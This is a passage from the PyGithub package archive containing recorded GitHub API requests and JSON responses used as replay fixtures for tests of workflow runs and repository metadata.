/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":105212023,"node_id":"MDExOldvcmtmbG93UnVuMTA1MjEyMDIz","head_branch":"master","head_sha":"7b20b13d0b853e813b201edf1daf159ca8bc983f","run_number":102,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/105212023","pull_requests":[],"created_at":"2020-05-15T00:47:26Z","updated_at":"2020-05-15T00:49:57Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/684151943","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/105212023/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"7b20b13d0b853e813b201edf1daf159ca8bc983f","tree_id":"562969dbd50e31ec6644e42cd47b6c93b5664167","message":"Small improvements to typing (#1517)\n\nWork through some of the errors when running mypy with --strict.","timestamp":"2020-05-15T00:47:22Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowJob.setUp.txt0000644000175100001660000012664714756101563022303 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:03:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5a8d0c04b22faf083b4eea90698de217a6419438e9d143138f566cf60cad0ad8"'), ('Last-Modified', 'Mon, 10 Jan 2022 09:52:55 GMT'), ('github-authentication-token-expiration', '2023-04-14 15:56:10 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '85C4:3628:24DDD6D:2579498:6411FA61')] {"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2022-01-10T09:52:53Z","updated_at":"2022-01-10T09:52:55Z","pushed_at":"2023-03-14T22:41:43Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://PyGithub.readthedocs.io/","size":13898,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":2,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":1,"open_issues":2,"watchers":0,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-15T17:02:12Z","pushed_at":"2023-03-14T22:46:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://PyGithub.readthedocs.io/","size":13760,"stargazers_count":5854,"watchers_count":5854,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1598,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":219,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","PyGithub","python"],"visibility":"public","forks":1598,"open_issues":219,"watchers":5854,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-03-15T17:02:12Z","pushed_at":"2023-03-14T22:46:37Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://PyGithub.readthedocs.io/","size":13760,"stargazers_count":5854,"watchers_count":5854,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1598,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":219,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","PyGithub","python"],"visibility":"public","forks":1598,"open_issues":219,"watchers":5854,"default_branch":"master"},"network_count":1598,"subscribers_count":0} https GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/4205440316 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 15 Mar 2023 17:03:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"acc4b146279eaa2d142f50ba219289525501ba8cf3599ba32b882ded249c89f6"'), ('github-authentication-token-expiration', '2023-04-14 15:56:10 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1678903315'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '85CA:1D8D:2FED38E:30CA735:6411FA62')] {"id":4205440316,"name":"CI","node_id":"WFR_kwLOGpsAJ876qe08","head_branch":"tz-aware-2","head_sha":"06ec040b2eeef6c0316dd5abcda0608525a3f205","path":".github/workflows/ci.yml","display_title":"Fix lint","run_number":5,"event":"push","status":"completed","conclusion":"success","workflow_id":48708658,"check_suite_id":11050312883,"check_suite_node_id":"CS_kwDOGpsAJ88AAAACkqZksw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/4205440316","pull_requests":[],"created_at":"2023-02-17T16:03:37Z","updated_at":"2023-02-17T16:06:11Z","actor":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-02-17T16:03:37Z","triggering_actor":{"login":"PyGithub","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316/logs","check_suite_url":"https://api.github.com/repos/PyGithu